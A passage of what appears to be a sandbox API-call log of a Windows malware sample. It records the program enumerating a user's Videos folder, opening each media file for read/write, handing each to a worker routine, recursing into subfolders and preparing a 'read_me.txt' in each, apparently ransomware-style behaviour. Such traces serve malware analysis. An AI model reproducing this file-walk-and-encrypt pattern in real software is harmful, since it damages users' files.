dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa40 [0078.824] QueueUserWorkItem (Function=0x404e00, Context=0xa40, Flags=0x0) returned 1 [0078.824] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e56a050, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0xf113ac30, ftLastAccessTime.dwHighDateTime=0x1d4cc08, ftLastWriteTime.dwLowDateTime=0xf113ac30, ftLastWriteTime.dwHighDateTime=0x1d4cc08, nFileSizeHigh=0x0, nFileSizeLow=0x4fb5, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ahdK5hcIPpU.avi", cAlternateFileName="AHDK5H~1.AVI")) returned 1 [0078.824] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ahdK5hcIPpU.avi") returned 56 [0078.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ahdK5hcIPpU.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ahdk5hcippu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa44 [0078.824] QueueUserWorkItem (Function=0x404e00, Context=0xa44, Flags=0x0) returned 1 [0078.824] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc133a9b0, ftCreationTime.dwHighDateTime=0x1d4ca06, ftLastAccessTime.dwLowDateTime=0x6f376270, ftLastAccessTime.dwHighDateTime=0x1d4ceff, ftLastWriteTime.dwLowDateTime=0x6f376270, ftLastWriteTime.dwHighDateTime=0x1d4ceff, nFileSizeHigh=0x0, nFileSizeLow=0x8d85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="BZEQ9p5B C-.avi", cAlternateFileName="BZEQ9P~1.AVI")) returned 1 [0078.824] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BZEQ9p5B C-.avi") returned 56 [0078.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BZEQ9p5B C-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bzeq9p5b c-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48 [0078.824] QueueUserWorkItem (Function=0x404e00, Context=0xa48, Flags=0x0) returned 1 [0078.824] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.824] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned 52 [0078.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c [0078.824] QueueUserWorkItem (Function=0x404e00, Context=0xa4c, Flags=0x0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366e90, ftCreationTime.dwHighDateTime=0x1d4ca55, ftLastAccessTime.dwLowDateTime=0x91c4dcd0, ftLastAccessTime.dwHighDateTime=0x1d4c9f7, ftLastWriteTime.dwLowDateTime=0x91c4dcd0, ftLastWriteTime.dwHighDateTime=0x1d4c9f7, nFileSizeHigh=0x0, nFileSizeLow=0x17944, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Hm9dBIxww4SJvym.avi", cAlternateFileName="HM9DBI~1.AVI")) returned 1 [0078.825] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hm9dBIxww4SJvym.avi") returned 60 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hm9dBIxww4SJvym.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hm9dbixww4sjvym.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa50 [0078.825] QueueUserWorkItem (Function=0x404e00, Context=0xa50, Flags=0x0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32cb460, ftCreationTime.dwHighDateTime=0x1d4d3e7, ftLastAccessTime.dwLowDateTime=0x4f2f6710, ftLastAccessTime.dwHighDateTime=0x1d4ce4c, ftLastWriteTime.dwLowDateTime=0x4f2f6710, ftLastWriteTime.dwHighDateTime=0x1d4ce4c, nFileSizeHigh=0x0, nFileSizeLow=0x11ad4, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="iW7IbnR_aGwddlM.flv", cAlternateFileName="IW7IBN~1.FLV")) returned 1 [0078.825] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iW7IbnR_aGwddlM.flv") returned 60 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iW7IbnR_aGwddlM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\iw7ibnr_agwddlm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa54 [0078.825] QueueUserWorkItem (Function=0x404e00, Context=0xa54, Flags=0x0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83b43a0, ftCreationTime.dwHighDateTime=0x1d4ca66, ftLastAccessTime.dwLowDateTime=0xd60fa580, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0xd60fa580, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0x127c1, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="oM8SpMZjYFcKInJlVr.mp4", cAlternateFileName="OM8SPM~1.MP4")) returned 1 [0078.825] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oM8SpMZjYFcKInJlVr.mp4") returned 63 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oM8SpMZjYFcKInJlVr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\om8spmzjyfckinjlvr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa58 [0078.825] QueueUserWorkItem (Function=0x404e00, Context=0xa58, Flags=0x0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a3fe370, ftCreationTime.dwHighDateTime=0x1d4ca36, ftLastAccessTime.dwLowDateTime=0x3371200, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0x3371200, ftLastWriteTime.dwHighDateTime=0x1d4cb2b, nFileSizeHigh=0x0, nFileSizeLow=0x157df, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="oMi3B_C8i.mp4", cAlternateFileName="OMI3B_~1.MP4")) returned 1 [0078.825] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMi3B_C8i.mp4") returned 54 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMi3B_C8i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\omi3b_c8i.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0078.825] QueueUserWorkItem (Function=0x404e00, Context=0xa5c, Flags=0x0) returned 1 [0078.825] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92932d90, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x86568360, ftLastAccessTime.dwHighDateTime=0x1d4ccc4, ftLastWriteTime.dwLowDateTime=0x86568360, ftLastWriteTime.dwHighDateTime=0x1d4ccc4, nFileSizeHigh=0x0, nFileSizeLow=0x188b9, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ONwwkqZvHDJLQ.mkv", cAlternateFileName="ONWWKQ~1.MKV")) returned 1 [0078.825] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ONwwkqZvHDJLQ.mkv") returned 58 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ONwwkqZvHDJLQ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\onwwkqzvhdjlq.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa60 [0078.826] QueueUserWorkItem (Function=0x404e00, Context=0xa60, Flags=0x0) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1318e50, ftCreationTime.dwHighDateTime=0x1d4c82d, ftLastAccessTime.dwLowDateTime=0x1113ba00, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0x1113ba00, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0x13c38, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="pEFKBWeHqvM-.avi", cAlternateFileName="PEFKBW~1.AVI")) returned 1 [0078.826] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\pEFKBWeHqvM-.avi") returned 57 [0078.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\pEFKBWeHqvM-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pefkbwehqvm-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa64 [0078.826] QueueUserWorkItem (Function=0x404e00, Context=0xa64, Flags=0x0) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab60180, ftCreationTime.dwHighDateTime=0x1d4d3d2, ftLastAccessTime.dwLowDateTime=0xf8e876e0, ftLastAccessTime.dwHighDateTime=0x1d4d05c, ftLastWriteTime.dwLowDateTime=0xf8e876e0, ftLastWriteTime.dwHighDateTime=0x1d4d05c, nFileSizeHigh=0x0, nFileSizeLow=0x158f8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="QmuI.avi", cAlternateFileName="")) returned 1 [0078.826] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QmuI.avi") returned 49 [0078.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QmuI.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qmui.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa68 [0078.826] QueueUserWorkItem (Function=0x404e00, Context=0xa68, Flags=0x0) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.826] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\read_me.txt") returned 52 [0078.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c [0078.826] QueueUserWorkItem (Function=0x404e00, Context=0xa6c, Flags=0x0) returned 1 [0078.826] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a422d0, ftCreationTime.dwHighDateTime=0x1d4d52c, ftLastAccessTime.dwLowDateTime=0x347ef790, ftLastAccessTime.dwHighDateTime=0x1d4d4f1, ftLastWriteTime.dwLowDateTime=0x347ef790, ftLastWriteTime.dwHighDateTime=0x1d4d4f1, nFileSizeHigh=0x0, nFileSizeLow=0x2d1b, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="T MLpgEhGdXe6.mp4", cAlternateFileName="TMLPGE~1.MP4")) returned 1 [0078.826] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\T MLpgEhGdXe6.mp4") returned 58 [0078.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\T MLpgEhGdXe6.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t mlpgehgdxe6.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70 [0078.826] QueueUserWorkItem (Function=0x404e00, Context=0xa70, Flags=0x0) returned 1 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40310110, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x1ae20310, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ae20310, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="t1LmrrqF1UQ49", cAlternateFileName="T1LMRR~1")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49") returned 54 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac0620, ftCreationTime.dwHighDateTime=0x1d4cc65, ftLastAccessTime.dwLowDateTime=0xc339d210, ftLastAccessTime.dwHighDateTime=0x1d4cdb8, ftLastWriteTime.dwLowDateTime=0xc339d210, ftLastWriteTime.dwHighDateTime=0x1d4cdb8, nFileSizeHigh=0x0, nFileSizeLow=0x10988, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="U5_n-zjI9waMpf29Rbq.swf", cAlternateFileName="U5_N-Z~1.SWF")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\U5_n-zjI9waMpf29Rbq.swf") returned 64 [0078.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\U5_n-zjI9waMpf29Rbq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u5_n-zji9wampf29rbq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa74 [0078.827] QueueUserWorkItem (Function=0x404e00, Context=0xa74, Flags=0x0) returned 1 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43e4310, ftCreationTime.dwHighDateTime=0x1d4cf3a, ftLastAccessTime.dwLowDateTime=0xadaba080, ftLastAccessTime.dwHighDateTime=0x1d4d408, ftLastWriteTime.dwLowDateTime=0xadaba080, ftLastWriteTime.dwHighDateTime=0x1d4d408, nFileSizeHigh=0x0, nFileSizeLow=0xe5f2, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="W55R.flv", cAlternateFileName="")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\W55R.flv") returned 49 [0078.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\W55R.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\w55r.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa78 [0078.827] QueueUserWorkItem (Function=0x404e00, Context=0xa78, Flags=0x0) returned 1 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d12e30, ftCreationTime.dwHighDateTime=0x1d4c85d, ftLastAccessTime.dwLowDateTime=0x56ab6b10, ftLastAccessTime.dwHighDateTime=0x1d4d3ab, ftLastWriteTime.dwLowDateTime=0x56ab6b10, ftLastWriteTime.dwHighDateTime=0x1d4d3ab, nFileSizeHigh=0x0, nFileSizeLow=0x9d96, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="YBtcyrV1L.mkv", cAlternateFileName="YBTCYR~1.MKV")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YBtcyrV1L.mkv") returned 54 [0078.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YBtcyrV1L.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ybtcyrv1l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c [0078.827] QueueUserWorkItem (Function=0x404e00, Context=0xa7c, Flags=0x0) returned 1 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90678140, ftCreationTime.dwHighDateTime=0x1d4c9ab, ftLastAccessTime.dwLowDateTime=0x630acb10, ftLastAccessTime.dwHighDateTime=0x1d4c534, ftLastWriteTime.dwLowDateTime=0x630acb10, ftLastWriteTime.dwHighDateTime=0x1d4c534, nFileSizeHigh=0x0, nFileSizeLow=0x81fa, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ZMZ0tQ8QIIayi.mp4", cAlternateFileName="ZMZ0TQ~1.MP4")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ZMZ0tQ8QIIayi.mp4") returned 58 [0078.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ZMZ0tQ8QIIayi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zmz0tq8qiiayi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80 [0078.827] QueueUserWorkItem (Function=0x404e00, Context=0xa80, Flags=0x0) returned 1 [0078.827] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69a57d0, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xae67600, ftLastAccessTime.dwHighDateTime=0x1d4d1d2, ftLastWriteTime.dwLowDateTime=0xae67600, ftLastWriteTime.dwHighDateTime=0x1d4d1d2, nFileSizeHigh=0x0, nFileSizeLow=0x5e89, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="_ziwdoP2J ZhqAV_w_.mp4", cAlternateFileName="_ZIWDO~1.MP4")) returned 1 [0078.827] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_ziwdoP2J ZhqAV_w_.mp4") returned 63 [0078.828] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_ziwdoP2J ZhqAV_w_.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_ziwdop2j zhqav_w_.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84 [0078.828] QueueUserWorkItem (Function=0x404e00, Context=0xa84, Flags=0x0) returned 1 [0078.828] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69a57d0, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xae67600, ftLastAccessTime.dwHighDateTime=0x1d4d1d2, ftLastWriteTime.dwLowDateTime=0xae67600, ftLastWriteTime.dwHighDateTime=0x1d4d1d2, nFileSizeHigh=0x0, nFileSizeLow=0x5e89, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="_ziwdop2j zhqav_w_.mp4", cAlternateFileName="_ZIWDO~1.MP4")) returned 0 [0078.828] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0078.828] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\read_me.txt") returned 52 [0078.828] GetProcessHeap () returned 0x540000 [0078.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.828] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 74 [0078.828] GetProcessHeap () returned 0x540000 [0078.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43f00a0 | out: hHeap=0x540000) returned 1 [0078.828] GetProcessHeap () returned 0x540000 [0078.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.828] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\*") returned 56 [0078.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40310110, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x1ae20310, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ae20310, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.828] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\.") returned 56 [0078.828] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40310110, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x1ae20310, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ae20310, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0078.828] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\..") returned 57 [0078.828] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81de1800, ftCreationTime.dwHighDateTime=0x1d4cd2f, ftLastAccessTime.dwLowDateTime=0x8b839b70, ftLastAccessTime.dwHighDateTime=0x1d4c648, ftLastWriteTime.dwLowDateTime=0x8b839b70, ftLastWriteTime.dwHighDateTime=0x1d4c648, nFileSizeHigh=0x0, nFileSizeLow=0xd8a6, dwReserved0=0x2000002, dwReserved1=0x540000, 